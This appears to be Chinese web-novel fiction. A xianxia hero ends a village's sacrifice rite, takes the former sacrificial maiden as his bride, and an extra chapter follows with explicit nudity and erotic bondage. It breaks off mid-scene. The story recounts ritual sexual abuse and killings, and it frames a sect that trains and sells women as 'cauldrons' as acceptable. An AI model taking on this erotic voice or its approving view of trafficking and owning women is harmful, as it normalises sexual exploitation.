  许墨见林烨如此痛快,心中最后一丝顾虑也放下了。她再次开口:“最后,墨恳请上仙,在带走墨之前,能随我一同现身寨中,告知寨民真相,终结这‘神女祭山’的残酷传统。并与山神大人约定,日后改为每年祭祀,贡品改为香果、蜜糖、鲜肉等山神真正喜爱之物即可。”
  “这个简单!”
  林烨一口答应,踢了踢脚下的熊怪,“喂,蠢熊,听到没?以后就按这个标准来!”
  “听到了听到了!香果蜜糖鲜肉!小妖最爱吃了!一定显灵!一定保佑!”
  巨熊忙不迭地答应,心里乐开了花,这可比等十年等一个人还吃不到顶多换点灵石可划算多了!
  林烨对许墨是越看越满意,这神女墨漂亮、温婉、善良、有智慧、有远见、还会说话,简直是完美道侣的模板!
  他心情大好,一把拉起虚弱的许墨,法力微吐,托住她,对熊怪喝道:“带路!回寨子!”
  ……
  云头晃晃悠悠,载着两人骑一熊出现在磐石寨上空,恰好停在寨民们三日静候、饿得前胸贴后背的包围圈正上方。
  刹那间,原本死寂绝望、只有诵经声的山谷,像是烧开的滚水泼进了油锅——彻底炸了!
  “快看!天上!!”一个眼尖的猎户率先发现,手里的弓箭哐啷一声掉在地上。
  “是…是神女大人?!她没死?!”
  “还有…山神大人!山神大人显灵了!!”
  “可…可山神大人怎么……鼻青脸肿的?像是被谁揍了一顿?”
  “那个黄袍子道士?!他怎么和神女大人站在一起?!神女大人还披着他的衣服?!”
  寨民们哗啦啦全都站了起来,仰着脖子,张大了嘴巴,脸上的表情从绝望到震惊,再到茫然和难以置信,精彩得如同开了染坊。
  有人使劲揉眼睛,有人掐自己大腿怀疑是在做梦,整个寨口乱成一团,嗡嗡的议论声几乎要掀翻天了。
  老祭司拄着拐杖,老眼昏花地看了半天,终于确认那云头上站着的确实是本该在洞中等死的神女墨,以及……模样颇为凄惨、却努力昂着脑袋想维持威严的山神巨熊,还有一个笑得一脸欠揍的年轻道人。
  这组合太过诡异,冲击得他老人家差点一口气没上来。
  云头上,林烨掏了掏耳朵,被下面的嘈杂声吵得有点烦。
  他清了清嗓子,运起一丝法力,声如洪钟,瞬间压过了所有议论:“咳咳!下面的磐石寨老少爷们儿都听好了!道爷我乃游方修士,法号巨阳道人,别把法号叫反了否则生儿子没屁眼!今日路过你们这犄角旮旯,恰逢其会,帮你们解决了个大麻烦!”
  他伸手拍了拍旁边巨熊的脑袋,拍得后者一个趔趄,差点从云头上栽下去,赶紧龇牙咧嘴地稳住身形,努力做出“俺很威严”的表情,可惜那对熊猫眼和肿起的腮帮子实在没什么说服力。
  “你们拜的这头蠢熊呢,确实是有点灵性的山神,没错。”
  林烨话锋一转,“但是!它胆子小得很,根本不敢吃什么人祭!你们祖祖辈辈搞的那套‘神女祭山’,纯属你们自己吓自己,跟它半块灵石的关系都没有!”
  “吼~!就是就是!俺不敢吃!”巨熊非常适时地配合着低吼了一声,还点了点大脑袋。
  下面的寨民们更懵了,山神亲口承认不要人祭?那他们这千百年的传统……算啥?白忙活了?历代神女……白死了?
  巨大的信息量冲击得所有人头晕目眩,世界观摇摇欲坠。
  林烨才不管他们能不能消化,继续宣布:“所以!从今天起,那劳什子的‘神女祭山’都给老子废除了!永远废了!听见没?谁敢提议再搞就先把谁泡在药缸里折成球献给老子一脚踢到南天门去!听明白了没有”
  下方的寨民们早已吓傻,刚刚主导了祭祀的祭司和嬷嬷们更是连连叩头表示再也不敢。
  他顿了顿,指着巨熊:“至于这头熊玩意,道爷我已经跟它谈好了!以后呢,你们也不用十年一度提心吊胆了,每年随便上点供品就行。”
  巨熊立刻挺起胸膛,蹲坐着挥舞熊掌努力让自己看起来更可靠些。
  林烨掰着手指头数:“什么山里的香果啊,甜滋滋的蜜糖啊,打来的新鲜猎物啊……它就好这口!保证比你们送大活人上去管用!只要供品到位,它继续保佑你们风调雨顺,不受山里精怪骚扰,明白了吗?”
  “吼吼!蜜糖!鲜肉!多多益善!”
  巨熊听到最爱,忍不住又吼了两声,嘴角似乎还有可疑的液体渗出。
  寨民们看着云头上那威严的山神虽然脸肿着和深不可测、能腾云驾雾的林烨,再回想之前山神确实驱赶过猛兽,事实摆在眼前,由不得他们不信。
  只是……这转变实在太突然、太颠覆了!许多人脸上还挂着茫然和不知所措。
  老祭司颤巍巍地上前一步,望着云头上的神女墨,刚想说什么。
  林烨却打了个哈欠,显得有些不耐烦了:“行了行了,事情就这么定了!规矩道爷我给你们立下了,这头蠢熊也点头了。巨熊配合地猛点头。以后就按新规矩办!至于你们的神女大人嘛……”
  他伸手揽住许墨的肩膀,得意洋洋地宣布:“道爷我看她顺眼,资质也不错,决定带她回山修行,踏上仙途了!以后就不是你们的神女了,是道爷我的老婆……呃,是预备弟子!你们就不用惦记了!”
  寨民们瞬间傻眼,你刚说了老婆对吧,绝对说了!但又有谁敢点破呢?
  说完,他也不等下面的人反应,驾起云头,在一众寨民目瞪口呆、如同仰望神仙(他本来就是)的目光中,慢悠悠转身就要飞走,下方却突然传来呼喊:“上仙且慢,上仙且慢!容小人一言!”
  老祭司和几位长老颤巍巍被年轻人们搀扶地上前,扑通一声跪地对着林烨和许墨躬身行礼。
  老祭司望着许墨,眼中情绪复杂,最终化为一声长叹,朗声道:“既然神女大人如今已得遇仙缘,蒙上仙垂青,此乃她之大幸,亦是我磐石寨之福分。墨之名,乃前代祭司所取,意为‘墨守成规’,继承传统。然今日传统已破,前程似锦,老朽也该将其本名告知了。”
  所有人都安静下来。
  老祭司缓缓道:“二十余年前,九州战乱,一许姓女子逃难至此,彼时已怀有身孕。她衣衫褴褛,气息奄奄,寨中医者无力回天,拼死生下女婴后便溘然长逝。我等将女婴抱回,因其母姓许,又生于墨砚旁,故取名‘墨’,交由祭司抚养,后因其灵秀,立为神女。这便是墨的来历。”
  “哦,原来如此。”
  神女墨,现在或许该叫许墨了身体微微一颤,眼中泛起泪光,终于知道了自己的根源。
  尽管方式残酷,她向着老祭司和寨民们深深一拜,感谢多年的养育之恩。
  她起身后,看向林烨,眼中带着询问。
  林烨微微一笑,点头道:“许墨,好名字。以后,你就叫许墨。”
  许墨展颜一笑,如同冰雪初融,明媚不可方物。她再次对寨民们行了一礼,柔声道:“许墨拜别各位乡亲。愿山神佑护,寨子永享太平。”
  在无数道复杂目光的注视下,林烨哈哈一笑,揽住许墨的腰肢,驾起云头,冲天而起,转眼间便消失在天际云端。
  身后,只留下缓缓跪伏一地的寨民,和一头摸着肿痛的脑袋、还有怀揣一身灵石丹药傻乐的巨熊山神。
  云海之上,许墨坐在副驾驶上,隔着玻璃看着下方的山河景像飞速变换:“上仙大人……请问……此乃何物?”
  林烨手握方向盘脚踩离合挂上六档,对着副驾上的女子邪魅一笑:“大运泥头车,最高速度23马赫。”
  【待续】

史上最强炼气期
李道然
修炼了将近五千年的方羽,还是没有突破炼气期……“我真的只有炼气期,但你们别惹我!”

天空之城 / 发表于: 2025/10/14 04:22:38

番外:一 洞天温香,心契初结
  离开磐石寨不过几个时辰,林烨驾驭着那辆“大运泥头车”的奇飞行法器穿梭于云层山峦之间,最终悄然驶入一片人迹罕至的原始山脉深处。
  法器在一处看似寻常的峭壁前悬停,林烨掐了个法诀,岩壁如同水波般荡漾开来,露出一条仅容一人通过的缝隙,内里氤氲出浓郁得化不开的天地灵气。
  “到了,临时安全屋,委屈一下先在这里休息一下。”
  林烨笑嘻嘻地先钻了进去,然后伸手将许墨小心翼翼地牵引入内。
  许墨只觉眼前豁然开朗,这里竟是一处天然形成的巨大溶洞。洞顶并非完全封闭,有几处裂隙巧妙地将天光引入,照亮了洞内景象。洞内家具陈设齐全,还有些她看不懂的方正物件。但是最引人注目的便是洞中央那一泓热气腾腾的温泉,池水呈现淡淡的乳白色,浓郁的灵气几乎凝结成肉眼可见的雾气,在水面及四周缭绕不散。
  温泉旁摆放着一些简单的石制家具,甚至还有一张铺着柔软兽皮的宽大石床,角落堆着几个储物箱,显然林烨对此地的经营并非一日之功。
  “此地灵脉汇聚,这眼泉更是核心所在,对温养经脉、巩固根基大有裨益。”
  林烨解释道,目光落在许墨身上那件抽象COSPLAY狗皮膏药贩子的黄色道袍上,皱了皱眉,“快把这破玩意儿脱了,进去好好泡一泡,你先前耗损不小,需得及时补充。”
  许墨脸颊微红,但经过洞中以及云端的相处,对林烨的信任已增,加之他言语抽象但却满是关怀,她便轻轻点头。
  背过身去,纤细的手指略显笨拙地解开那粗糙的麻布系带。褪去外袍,里面仅有一件贴身的素衣,此刻也被水汽和之前的奔波沾染,略显凌乱地贴在身上,勾勒出青涩却已初具规模的动人曲线。
  她微微迟疑了一下,最终还是将素衣也轻轻褪下,顿时,一具宛如上天精心雕琢的玉体毫无保留地呈现在这洞天福地之中。长期的药浴与特殊锻炼,使得她的肌肤细腻如最上等的羊脂白玉,又因灵气的浸润透出健康的粉晕。身段匀称修长,肩若削成,腰如约素,双腿笔直纤秎,每一处线条都流畅而完美,多一分则腴,少一分则瘦。尤其是那浑圆挺翘的臀瓣与胸前一对虽未至硕大却形状极美、饱满挺立的玉峰,更是如同点睛之笔,在这天然景致中惊心动魄地跳脱出来,而其上因先前三折紧缚留下的斑驳绳痕更是将雪白的肌肤分割成对称的几何图案,再林烨眼中显得凄美又惹人怜爱不已。
  她赤着双足,踩在温润的石地上,一步步走向温泉。
  许墨玉足小巧,脚趾如珍珠般圆润,足弓划出优美的弧线。
  踏入池水时,她轻轻吸了口气,水温略烫却恰到好处地驱散了体内的寒意与疲惫后缓缓将身体浸入乳白色的灵泉中,直至泉水没过精致的锁骨。
  温暖灵动的泉水包裹住全身,许墨忍不住发出一声极轻极满足的喟叹。她靠在池边光滑的岩石上,闭上双眼,长而翘的睫毛上很快凝结了细小的水珠。
  紧绷了十余年的心弦在这一刻终于得以松弛,那份身为神女时必须维持的疏离、平静与悲悯渐渐褪去,流露出属于她这个年纪少女应有的柔婉与一点点懵懂的天真。
  水汽氤氲中,她的侧脸线条柔和,唇瓣不点而朱,湿润的黑发贴在颊边颈侧,更添几分楚楚动人的风致。
  那是一种卸下所有重担后,自然流露的纯净与慵懒之美,仿佛一朵于无人山谷中悄然绽放的幽兰,清丽绝伦,不染尘埃。
  林烨在一旁看得有些发怔,随即摸了摸鼻子,暗自嘀咕:“捡到宝了,真是捡到天大的宝了……”
  随后强迫自己移开视线,走到洞府另一角的简易灶台边,背过身去系上围裙说道:“你安心泡着,我给你弄点吃的补补力气。”
  说着,他便从冰箱里取出各种灵光闪闪的食材。
  只见他手法娴熟地处理着一块纹理如大理石般、散发着浓郁气血之力的灵兽肉排,又取出几样鲜翠欲滴的灵蔬。控火诀、御物术信手拈来,不多时,煎肉的滋滋声和诱人的香气便弥漫开来。
  他甚至不知从哪摸出一瓶贴着外文标签的红酒,手法优雅地倒入醒酒器,又变戏法似的拿出一个精致的小蛋糕和一盒冰激凌。
  许墨在温泉中悄悄睁开眼,看着林烨忙碌的背影。
  这个男人褪去了那身滑稽的黄袍,换上了一身简洁利落的现代休闲装,专注烹饪时侧脸显得格外认真可靠,与之前那个满口跑火车的“巨阳道人”判若两人。
  至于说“阳巨道人”?这个称呼恐怕真有人以前这么喊过,让许墨不由偷偷发笑;她第一次感受到自己会笑,还是被这种低俗没品的黄段子逗笑,她突然意识到自己不再是高高在上不食人间烟火的神女,反而更像是普普通通的凡间女孩,可以和寻常的乡野村妇一样谈论“哪家的男人器大活好”之后哄堂大笑一样自在,一种前所未有的安心感与暖流在她心中悄然荡漾开。
  林烨自然听到了许墨的笑声,他只以为这是开心的笑,并没有想太多。
  不多时,华美的餐食摆放在温泉旁的石桌上:煎得恰到好处的灵牛排嗞嗞作响,点缀着翠绿的灵植;醒好的红酒散发着醇厚果香;小巧的蛋糕上奶油花纹精致;冰激凌在洞内温度下微微冒着冷气。
  然而餐具旁摆放的,竟是一双乌木镶银的筷子。
  “来,尝尝为夫的手艺。”林烨笑着招呼她。
  许墨从泉水中起身,带起串串水珠。
  她并未急着穿衣,而是就那样带着一身湿漉漉的水汽与惊人的美感,坦然走到桌边坐下,让林烨目瞪口呆。
  在她过去的认知中,侍奉神灵或主人时赤身裸体并非羞耻之事。
  反倒是林烨,被她这自然而然的举动弄得心跳漏了一拍,赶紧拿起一旁准备好的柔软大毛巾递给她。
  “擦擦,别着凉。”
  他声音有点干涩,眼神躲闪,也不敢正视许墨的身体。
  许墨接过毛巾,轻轻擦拭着身体,目光却被桌上从未见过的西餐吸引。
  “上仙大人,”她的声音还带着泡澡后的微哑,“请问这些是……”
  “哦,家乡的一些吃食,改良了一下,用了这边的灵材,味道应该不错,而且大补。”
  林烨走上前用浴巾围在她的胸前遮住春光,随后将筷子递给她;“用这个吃。”
  许墨学着林烨的样子,有些生疏却异常灵巧地用筷子夹起一块牛排,小心地送入口中。肉质鲜嫩多汁,蕴含的灵气瞬间在口中化开,温暖的力量流向四肢百骸。她眼睛微微一亮,又尝试了红酒的醇厚、蛋糕的甜软、冰激凌的冰爽,每一种味道都让她感到新奇而愉悦。
  用餐间隙,林烨放下筷子,神色稍正,说道:“正式介绍一下,我叫林烨,出身嘛……算是个修仙世家,不过现在和家里闹掰了,在外面当个逍遥散修。”
  许墨静静听着,点头表示明白。
  她犹豫了一下,用餐巾擦了擦嘴角,用一种极为委婉礼貌的语气轻声问道:“上仙……请恕墨冒昧,不知上仙如今修为……臻至何等境界?墨也好心中有所计较,日后修行不至茫然。”
  林烨闻言,挠了挠头,脸上露出一丝略显尴尬又带着些许嚣张的笑容:“境界这块嘛……说实话我自己也有点说不清。至于实力?嘿嘿,实力不详,遇强则强。你非要有个参考的话就把我当个金丹修士看好了,大概、可能、也许……比普通金丹能打那么一点点?”
  他说得含糊,但语气中的自信却毋庸置疑。
  许墨聪慧,知他不愿细说,便不再追问,只是将“遇强则强”这四个字默默记在心里。
  林烨却又凑近了些,笑嘻嘻地纠正她:“对了,以后别叫我上仙了,听着生分。要叫老公,知道吗?来,叫声听听?”
  许墨闻言,白皙的俏脸瞬间飞上两抹红霞,一直蔓延到耳根。娇躯在洞内微光和湿润水汽映衬下越发诱人,修长玉颈下的锁骨窝里甚至还浮现出两个小水潭。
  她低下头,贝齿轻咬下唇,扭捏了半晌,才用细若蚊蚋、却清晰无比的声音娇羞地唤道:“老……老公……”
  这一声呼唤仿佛带着奇异的魔力,让林烨心花怒放,欣喜若狂,恨不得立刻将眼前这乖巧诱人的人儿搂进怀里好好疼爱一番。
  用餐完毕,许墨主动站起身走到林烨面前。
  她眼中水光潋滟,带着一丝感激、一丝依赖,或许还有一丝初尝情愫的悸动。
  许墨随手解开浴巾,露出散发着纯净香气的胴体伸出藕臂,轻轻环住林烨的腰身,脸颊贴在他胸膛上,感受着他强健的心跳,同时小手笨拙地试图去解他衣服的扣子。
  “墨……多谢老公救命之恩,收留之情……”
  她的声音柔媚入骨,带着显而易见的暗示。
  接下来的一切理应顺理成章,许墨在那台大运泥头车副驾驶座位上坐着的时候就已经无数次脑内演练过这一场景,而现在美人出浴又刚刚一起用过膳食体力充盈,正是强攻上垒的最佳时机!
  然而林烨却像是被烫到一样,猛地倒吸一口凉气,连连后退,屁股撞到石桌把那大理石碰碎一角,又手忙脚乱的把碰掉的桌角摁在桌子上高喊一声“REPARO!”将其修复,看得许墨愣在当场。
  “老公,您为何……”
  一股没来由的委屈感涌上心头,许墨几乎要哭出来;然而林烨比她更急,俊脸憋得通红,连连摆手语速极快地说道:“别!别别别!许墨你可别诱惑我啊!我不是嫌弃你是这样的你听好了你现在刚脱离凡胎虽然体内有纯阴道体打底但实际修为只是比凡人略强一点的练气水准而且元阴初固经脉孱弱我一身纯阳灵力霸道无比若是此刻真忍不住上了你还没忍住中出内射一发入魂强行灌注会导致阴阳剧烈冲突你根本承受不住是真的会爆体而亡的!爆体而亡!爆体而亡啊!重要的事情要说三遍总之就是字面意思的‘砰’一声炸成血肉烟花糊的满哪都是拿簸箕铲都铲不起来!那可不是闹着玩的懂不懂?!”
  他说得又急又真,额角都渗出了冷汗,显然绝非虚言恐吓。
  许墨被他激烈的反应吓了一跳,环抱的手松开,怔在原地,脸上红白交错,既是羞窘又是后怕。
  她这才明白林烨之前的“忍辱负重”和此刻的“坐怀不乱”所为何来。
  “抱歉老公,墨心急了。”
  许墨捡起浴巾围在身上,只露出锁骨之上和一双修长的玉腿。
  林烨长长舒了口气,平复了一下翻腾的气血和某些躁动的念头。
  他转身从储物箱里拿出一套崭新的衣物:“来,我的宝儿,给你准备了新衣服,以后就穿这个。”
  那是一套现代风格的女子运动服:一件柔软的纯棉T恤,一条弹性极佳、面料光滑的黑色修身运动踩脚长裤,一双轻便的运动鞋,还有一套包括胸衣和内裤的灰色运动内衣。
  许墨好奇地接过这些从未见过的服饰,尤其是那运动内衣和内裤,她翻来覆去,完全不明白该如何穿着。
  林烨叹了口气,认命地走上前:“算了,我来帮你吧。”
  过程自是香艳无比。
  林烨默念着“非礼勿视非礼勿视……”但他的手指不可避免地触碰到许墨光滑的背脊、纤细的腰肢、柔软的腹部以及胸前那对挺翘的丰盈。
  每一次触碰都如同电流般窜过两人的身体。
  许墨羞得全身肌肤都泛起了淡淡的粉色,身体微微颤抖,却乖巧地配合着他的动作。
  林烨更是呼吸粗重,手指微微发颤,两只眼睛不停地向上看像是翻着白眼,好不容易才将那件略显复杂的运动胸衣的搭扣扣好,指尖划过她细腻的背部肌肤时,他很确信自己此刻身为修士,血压已经超过了巅峰期的大卫戴良子。
  好不容易帮许墨穿戴整齐,林烨几乎是逃似的冲到灵泉边,猛地将整个头埋进冰冷的泉水里,咕咚咕咚冒了一串气泡,然后哗啦一声抬起头,像只大狗一样疯狂甩头,水珠四溅,试图用这种方式驱散脑中的旖旎念头。
  他长长地、深深地呼出一口带着白气的浊气,这才感觉冷静了些。
  许墨低着头,好奇又羞涩地打量着自己这一身新装扮。
  修身的运动裤完美勾勒出她笔直修长的双腿和挺翘的臀线,踩脚的设计更显得足踝纤细可爱。T恤略宽松,却掩不住胸前的饱满轮廓。
  一身从未见过的装扮让她褪去了神女的圣洁与疏离,多了几分青春活泼的朝气,别有一番动人风韵。
  “老公,仙人们都穿这种衣服吗?”
  “不,仙人们大多穿的乱七八糟,和逛漫展一样。你这一身是我专门定做的。转一圈我看看合不合身。”
  林烨声音还有些沙哑。
  许墨依言轻轻转了个圈,动作间带着少女的轻盈。
  她抬起头,眼中带着新奇与欢喜,小声道:“老公的衣服……很是合身,墨一定小心爱护。”
  林烨摆摆手,目光柔和地看着她:“衣服无所谓,穿坏了再换就是。你才是最重要的,明白吗?”
  许墨心中涌起巨大的欣喜与暖流,她用力点了点头,眉眼弯弯,笑意嫣然。
  自从遇到这个男人就让她不由自主的想笑,不知是因为心情放松,还是因为这家伙实在是过于抽象。
  林烨拉着她在温泉旁的柔软沙发(天知道他从哪弄来的)上坐下,很是自然地揽住她的肩膀,在她光洁滑嫩的脸颊上轻轻亲了一下。
  许墨身体微微一僵,随即放松下来,脸颊更红了些,却没有躲避,反而将身体微微靠向身旁的男人。
  温存片刻,两人之间的气氛愈发在沉默中渐渐交融。
  林烨知道,是时候该谈谈正事了。
  许墨依偎在他怀里,沉吟片刻,轻声开口,问出了心中盘旋已久的疑问:“老公,墨还有几处不明。那神女祭山的仪式,为何如此复杂繁琐,又……如此痛苦?那山神熊怪,看起来……似乎并不像能设计出这等精密流程的存在。”
  “你是说它傻乎乎的对吧,我看得出来。”
  林烨赞赏地看了她一眼,果然心思缜密。他反问道:“你既熟知寨中历史,可知百年前,乃至更早,神女在洞中放置三日后,接下来是何流程?”
  许墨神色微微一黯,点了点头,声音低沉了些:“墨知道。据古卷轴记载,百年之前,神女并非都会被山神‘收走’。三日后开启山洞,若神女尚有气息,则视为山神拒飨,祭司需用混杂了兽血的黏土,封闭神女口鼻,直至……直至其窒息而死,再将遗体抬上山巅祭坛焚烧告天谢罪。若神女已死,则视为山神纳贡,人们会将神女遗体连同祭台一同埋入寨中地下,并将一颗树种塞入神女子宫,静待其发芽成长。寨子里……几乎每一棵古树下,都埋着一位神女的遗骸。”
  她说得平静,林烨却能感受到她心底的那份悲凉。他点了点头,道:“据我探查和从极乐宗渠道得知的信息,过去磐石寨附近确实盘踞着一个实力低微却心思歹毒的邪修。他装神弄鬼,要求寨民十年一次十几岁的处子作为鼎炉,磐石寨的神女祭山传统便是始于那时。但后来一位路过的极乐宗魔族修士和我一样看上了神女,这邪修作死阻拦被随手宰了。那魔族修士事了拂衣去,根本不知此地还有供奉传统。寨民们失去了‘山神’,却因恐惧和惯性将祭祀传统保留了下来,且在代代相传中,因记忆模糊和理解偏差,搞出来各种离谱的魔改二创,如今的版本是同人取代官方。”
  许墨虽不懂啥叫同人取代官方,但还是点了点头静等老公继续说下去:林烨顿了顿,举例道:“比如‘注灵’仪式,原本或许只是让神女饮下春药,并在其私处涂抹增强敏感度的药膏,以便邪修采补,结果邪修死后被后人魔改成了由四个抬山郎行苟且之事。再比如‘三折叠’姿势,其来源更是离谱。最初的祭礼词很可能是‘三,折其身’,意为第三步把将神女捆缚成跪坐行礼的姿势以表恭敬和顺从,结果被后人误读为‘三折,其身’,就搞出了那种极端的捆绑方式。”
  许墨听得张口瞪眼,内心惊骇:“竟是如此!那……过去十几年的修行究竟是为了什么啊!”
  “至少你有了练气期的水准,所以也算不亏。”
  林烨耸耸肩,苦笑着说道:“就是效率低了点,但至少你路没有走歪,我回头给你好好调理一下就OK了。至于说那熊怪觉醒灵智不过百年,恰好撞上这个传统,便顺水推舟假冒山神,实则将神女祭品卖与极乐宗换取资源罢了。我也是极乐宗内部有人,才得知此地竟有你这般万载难逢的纯阴之体。”
  许墨听完,默然良久,最终化作一声轻叹:“原来……历代神女的牺牲,竟大多源于一场谬误的延续,果真……毫无意义。”
  她的语气中带着深深的怅惘与释然:“墨过去虽有怀疑也想过逃亡,但身负山民们期许也只能顺应规则行事,再者墨若是逃走,也会有其他女孩顶上,规则终究不会改变,但如今老公您终结了这毫无意义的轮回又为墨解惑,也了却墨多年心结,实在是感谢!”
  林烨轻轻握了握她的手,没有多说什么安慰的话,有些伤痛需要时间抚平。
  许墨又问道:“那……极乐宗,并非邪修门派?”
  林烨解释道:“极乐宗亦正亦邪,行事自有其规矩。他们主要在凡间搜寻有灵根却资质平平的女子,培养成适合双修的炉鼎再转手卖给各路修士,虽谈不上正道,但在弱肉强食的修仙界,也算是一种‘物尽其用’,甚至某种程度上保护了这些女子免遭更凄惨的命运。而且他们明码标价,并非强取豪夺,因此在修仙界并不算违法乱纪。”
  许墨了然:“原来如此,墨若是未曾遇到老公怕是要被他人用作炉鼎,实在不敢去想。”
  林烨摇头说道:“你这样的先天纯阴道体若被他们得到,绝不会轻易当成普通炉鼎卖掉,反而必定会倾力培养,修炼高深媚功或采补之术,最后成为纵横仙界的交际花或是某些大能的专属鼎炉,价值连城的哦。”
  许墨立刻坚决地摇头,眼神清澈而坚定:“墨不要。既已许诺此身只属老公一人,便绝不容他人染指半分。”
  林烨闻言,心中大为受用,喜悦之情溢于言表,忍不住又侧过头在她另一边脸颊上亲了一口,赞道:“我的好宝贝!”
  亲昵之后,林烨看着近在咫尺的娇颜,她穿着修身运动服的身材曲线毕露,诱人无比。
  他喉结滚动了一下,有些小心翼翼地询问:“墨儿老婆,我……可以隔着衣服摸一摸你吗?”
  许墨先是一愣,随即哭笑不得,她颔首柔顺道:“老公既是墨的主人,又是救命恩人,自然可以随意……”
  她本想说“把玩”,但这个词终究太过羞人,没能说出口。
  然而,林烨的神色却严肃起来,他双手扶住许墨的肩膀,正视着她的眼睛,认真道:“许墨,你听好。我救你之初,确实存了将你视为绝佳鼎炉的心思。但你之后的表现,心性、智慧、乃至……一切都远超我的预期。所以我改变主意了,现在的我是真心实意将你当作未来道侣来对待的!这是你自己赢得的尊重,所以也请你看重自己,不要总是把自己放在一个予取予求、可以随意轻慢的位置上,明白吗?”
  这番真挚而郑重的话让许墨心中剧震,一股难以言喻的暖流与酸楚交织涌上心头,眼圈微微发热。
  她用力点头,声音有些哽咽:“墨……明白了。多谢老公。”
  为了缓和气氛,也或许是终于找到了可以倾诉的对象,许墨微微低头,小声道:“不过……墨自幼便药浴养护,拉伸筋骨,锻炼身体柔韧,亦修习绳缚与捆绑之法……说来惭愧,墨对此道并无厌恶,反而……反而有些莫名的喜欢与着迷。老公若不嫌弃,将来……将来双修之时,也可多多将墨捆绑起来。”
  “啊?”
  林烨愣在当场,歪着脑袋像是个二傻子一样盯着许墨,然而许墨虽然脸上浮现红晕,嘴巴却没有停下:“老公,墨对您坦诚,即便是那‘三折’式的紧缚,墨也愿为老公尝试。毕竟……此番祭祀,未能由老公亲自……‘注灵’,墨如今想来心中……竟觉有些许遗憾。”
  说到最后,声若蚊蚋,俏脸鲜红欲滴,却带着一种坦诚的勇气。
  林烨听完极度意外,随即便是巨大的惊喜如同烟花般在脑中炸开!
  还有这种好事?!他差点忍不住要仰天长啸!
  绳艺!捆绑!紧缚!调教!BDSM!无数关键词在脑内炸响,这是他上辈子还是个宅男的时候无数个日夜抱着手机搜索的关键词,如今竟然都在眼前?!这怎么可能!
  他强压住激动,握住许墨的手,声音都因为兴奋有些发颤:“真的?你……你喜欢?墨儿,我的好墨墨,你可千万别为了迎合我委屈求全,是真的喜欢吗?”
  许墨被摇晃肩膀发丝凌乱,但面露笑意,坦诚说道:“墨并非委屈求全,更非刻意迎合。老公,您可知……那漫长的药浴、拉伸、乃至绳缚修习,于墨而言,虽是职责所在,但身体……身体却早已诚实地记住了其中滋味。”
  她微微停顿,似在回忆,脸颊绯红更甚,却继续娓娓道来:“被紧密包裹、束缚的感觉,初时是煎熬,但久而久之……却带来一种奇异的安心。仿佛所有的重担、他人的期盼、乃至自身的彷徨,都能被那一道道绳索暂且锁住、隔开。身体被掌控、被塑造的同时,心神反而……反而能得到一丝喘息,甚至……窃喜。”
  许墨的声音越来越低,却字字清晰:“尤其是……若知晓这捆绑来自于您,来自于墨心悦诚服、愿托付一切之人。想到将来……能被您以绳索细细丈量、紧紧拥抱、全然掌控……墨的心……便跳得厉害,身体……也会不由自主地发烫。这喜欢,是真的。”
  她抬起水汪汪的眸子,勇敢地直视林烨因震惊和欣喜而睁大的眼睛:“所以,请老公不必疑虑。墨之所言,皆出自本心。能与夫君共享此秘趣,亦是墨之幸事,何来委屈?”
  此时此刻,林烨已经感动到热泪盈眶。他本以为许墨会将过去神女的身份和遭受的待遇视作阴影与不堪回首的往事,却没想到这女子竟然如此坦然!
  “好好好!既然你喜欢那老公我一定配合!定要让你体验到前所未有的快乐!”
  但他很快又冷静下来,郑重叮嘱,收起嬉笑说道:“不过,眼下你的首要任务是巩固修为,提升境界!必须身心都达到足够强韧的程度,才能承受住我的元阳和双修时灵力交融的冲击!否则现在能看能摸却不能动真格,实在是折磨死人啊!”
  许墨点头:“墨既为老公道侣自当加紧精进修为,老公还请放心。”
  林烨却摇头说道:“切记,修仙之途最忌根基不稳,万万不可为了急于双修而强行提升境界,那无疑是自毁前程,明白吗?”
  许墨见他如此为自己考量,心中感动更甚,乖巧应道:“墨记下了,定不敢急躁冒进。”
  她望着林烨,眼中满是柔情与感激:“老公如此为墨殚精竭虑,墨……不知该如何报答才好?”
  林烨看着她娇俏可人的模样,又想起她刚才那番“惊人”的坦白,心痒难耐,思来想去,眼睛一亮,嘿嘿笑道:“眼下嘛……倒真有个即时的报答法子。不如……你就穿着这身运动服,给我表演一个自缚?然后让我抱着你,好好摸一摸,玩一玩,如何?”
  他这话问得小心翼翼,又充满期待,但许墨闻言脸颊虽红,眼中却闪过一抹奇异的光彩,非但没有抗拒,反而隐隐带着一丝期待与跃跃欲试。她轻轻点头:“墨……遵命,还请老公转身勿看,墨……想给您一个惊喜。”
  起初是极其轻微的布料摩擦声。许墨似乎先是褪下了运动鞋,赤足(穿着踩脚袜)踩在温润的石地上,发出几不可闻的足音。
  接着,是那根鲜艳红绳被拿起时,绳结与绳身滑动时特有的、细微的沙沙声。
  然后,声音变了。
  传来的是更密集 更用力的摩擦声——是绳索紧紧勒过运动服面料的声音。
  偶尔夹杂着许墨极力压抑却依旧无法完全吞没的、短促而用力的呼吸声,甚至是一两声极轻的、因用力捆绑或绳索深陷皮肉而带来的闷哼。
  林烨能想象出那幅画面:她灵巧的双手在身后忙碌着,凭借着多年被捆绑的经验和对自身身体的了解,将红绳绕过手臂、胸侧、腰腹、腿弯……绳结被拉紧时,布料下的娇嫩肌肤必然被深深勒入,勾勒出令人血脉贲张的凹陷。
  她或许正微微喘息着,额角渗出细密的汗珠,眼神专注而迷离,完全沉浸于自我束缚的仪式之中。
  这个过程似乎比想象中要快。
  很快,身后传来一阵更为剧烈的、身体反弓时韧带与肌肉拉伸的细微声响,以及一声被强行咽回去的、带着痛楚与奇异满足感的呻吟。接着是最后一道关键绳结被用力抽紧时发出的“噌”的摩擦声。
  一切声响戛然而止。
  只剩下许墨略显急促、却努力平复的呼吸声。
  片刻后,她的声音响起,带着一丝无法掩饰的颤抖,仿佛声带也被这紧缚所影响:“老公……墨可以了。”
  林烨转过身,顿时被眼前的景象吸引了全部目光。
  只见许墨已经脱掉了运动鞋,露出穿着黑色踩脚袜的纤足玉指。她在就这么短短时间内竟已用这根红绳将自己捆绑成了一个极其完美且牢固的“四马攒蹄式”!红色的绳索如同有生命的藤蔓,紧密地缠绕在她穿着运动服的身体上,深深陷入柔软的布料与更柔软的肌体之中。
  许墨似乎为了便利脱掉了运动服外衣只穿着单薄的T恤,绳索在她胸前交叉勒紧,将她原本就挺翘的乳峰轮廓清晰地勾勒出来,甚至因为压迫而显得更加饱满鼓胀,顶端的凸起在薄薄的T恤面料下清晰可见。她的双臂被反剪在身后,手腕与手肘被牢牢固定,肩胛骨向后夹紧,呈现出一种脆弱又美丽的线条。
